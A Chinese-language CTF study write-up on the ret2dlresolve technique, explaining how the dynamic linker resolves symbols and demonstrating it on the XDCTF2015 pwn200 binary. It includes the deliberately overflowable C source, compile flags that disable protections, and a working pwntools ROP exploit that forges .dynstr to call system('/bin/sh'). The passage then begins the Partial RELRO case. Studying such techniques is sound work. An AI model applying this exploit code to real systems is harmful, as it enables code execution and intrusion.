ret2dlsolve漏洞的复现

前言

为了学到更多的关于ROP利用的知识开始复现这个漏洞,也为了能够更加深刻的了解程序动态链接的过程,学习更加底层的知识。

原理

在Linux中,程序使用_dl_runtime_resolve(link_map_obj,reloc_offset)来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析函数了呢?答案是肯定的。这也就是ret2dlresolve攻击的核心所在。

具体的,动态链接器在解析符号地址时所使用的重定位表项,动态符号表,动态字符串表都是从目标文件中的动态节.dynamic索引得到的。如果我们能够修改其中的某些内容使得动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

思路一 – 直接控制重定位表项的相关内容

由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表.dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串表。但是动态字符串表和代码映射在一起,是只读的,此外,类似地,我们可以发现动态符号表,重定位表项都是只读的。

但是,假如我们可以控制程序流,那我们就可以伪造合适的重定位偏移,从而达到调动目标函数的目的。然而,这种办法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保链接器在解析的过程中不会出错。

思路二 – 间接控制重定位表项的相关内容

既然动态链接器会从.dynamic节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的

由于动态链接器在解析符号地址时,主要依赖于link_,map来查询相关的地址。因此,如果我们可以成功伪造link_map,也就可以控制程序执行目标函数。

例子

NO RELRO

首先,我们可以按照下面的方式来编译对应文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <string.h>
#include<stdio.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}

int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
};

编译

1
2
3
4
5
6
7
8
❯ gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32
❯ checksec main_no_relro_32
[*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

在这种情况下,修改.dynamic会简单些。因为我们只需要修改.dynamic节中的字符串表的地址为伪造的字符串表的地址,并且相应的位置为目标字符串基本就行了。具体思路如下:

  • 修改.dynamic节中字符串表的地址为伪造的地址
  • 在伪造的地址处构造好字符串表,将read字符串替换为system字符串。
  • 在特定的位置读取/bin/sh字符串。
  • 调用read函数的plt的第二条指令,触发_dl_runtimr_resolve进行函数解析,从而执行system函数

exp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\x00")
p.interactive()

Partial RELRO

首先我们可以编译源文件main.c得到二进制文件,这里取消了Canary保护。

1
2
3
4
5
6
7
8
9
❯ gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32
❯ checksec main_partial_relro_32
[*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/parti
al-relro/main_partial_relro_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

在这种情况下,ELF文件中的 .dynamic节将会变成只读的,这时我们可以通过伪造重定位表项的方式来调用目标函数。

在下面的讲解过程中,本文会按照以下两种不同的方式来使用该技巧。

  • 通过手工伪造的方式使用该技巧,从而获取shell。这种方式虽然比较麻烦,但是可以仔细理解ret2slreslove的原理。
  • 利用工具来实现攻击,从而获取shell。这种方式比较简单,但我们还是应该充分理解背后的原理,不能只是会使用工具。